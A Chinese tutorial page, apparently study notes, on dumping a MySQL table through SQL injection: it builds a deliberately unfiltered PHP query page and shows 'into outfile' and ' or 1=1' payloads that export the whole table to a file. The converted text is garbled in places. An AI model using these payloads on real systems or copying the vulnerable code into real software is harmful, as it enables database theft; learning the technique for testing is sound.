程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> 應用SQL注入破綻拖庫的辦法

應用SQL注入破綻拖庫的辦法

編輯:MySQL綜合教程

應用SQL注入破綻拖庫的辦法。本站提示廣大學習愛好者:(應用SQL注入破綻拖庫的辦法)文章只能為提供參考,不一定能成為您想要的結果。以下是應用SQL注入破綻拖庫的辦法正文


想在當地測試的話,可以在此免積分下載:應用SQL注入破綻拖庫
同上一篇文章一樣,我們須要創立數據表,並在表中收支幾條數據以備測試之用。
在數據庫中樹立一張表:

CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中拔出數據的操作我就不貼代碼了,可以去下載上去直接導入到數據庫。
接上去,寫一個處置用戶要求的頁面,這裡,我們有意不外濾用戶提交過去的數據,留下個SQL注入破綻用來測試。
代碼以下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經由濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫銜接掉敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>應用SQL注入破綻拖庫<p>";
if (!$row){
echo "該記載不存在";
exit;
}
echo "題目<br>".$row['title']."<p>";
echo "內容<br>".$row['content']."<p>";
?>

我們直接在閱讀器中輸出:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
便可拜訪article表中id為1的一筆記錄
拜訪成果以下:

接上去,我們就應用這個破綻(不曉得該破綻的情形下,只能經由過程對象+手工檢測),演示一下若何將article表下載上去。
在地址欄中輸出:' into outfile 'e:/sql.txt'%23
剖析:%23是#的ASCII碼,因為在地址欄中直接輸出#後到數據庫體系中會釀成空,須要在地址欄中輸出%23,那末才會釀成#,進而正文失落前面的sql語句。
運轉以後,翻開E盤,發明多了一個sql.txt文件,翻開以後,外面就是表article中的一筆記錄。
為何只要一筆記錄呢?豈非該數據表就只要一筆記錄?不是如許的,由於我們只檢索id為1的一筆記錄罷了,那末可否將article表中的一切記載一次性全體下載上去呢?
謎底是可以的,只需你的結構的SQL語句足夠靈巧(再次提出了結構SQL語句的靈巧性)。
剖析一下,當在URL地址欄中輸出'into outfile 'e:/sql.txt'%23的時刻,歸並到sql查詢語句中變成:
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
細心剖析下以後,我們可以如許子結構SQL語句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
如許的話,不管若何WHERE子句老是為真,換句話說,該sql語句等價於以下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語句在先履行select語句,將表article中的所之內容全體檢索出來,然後再履行into outfile 'e:/whf.txt'#'將內容導出來。
不信的話,你履行下……
應用SQL注入破綻,我們可以猜想表名,列名,用戶的暗碼長度(LEFT函數)等等,固然了,假如能直接向以上的演示那樣將表中的數據全體導出的話就沒需要去猜表名列名等等。
有點累了,就寫到這裡了。
應用SQL注入破綻登錄後台和應用SQL注入破綻拖庫是我進修了相干內容以後的一點小結,沒啥深度,正如文章開首所說,權當總結,別無它意。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved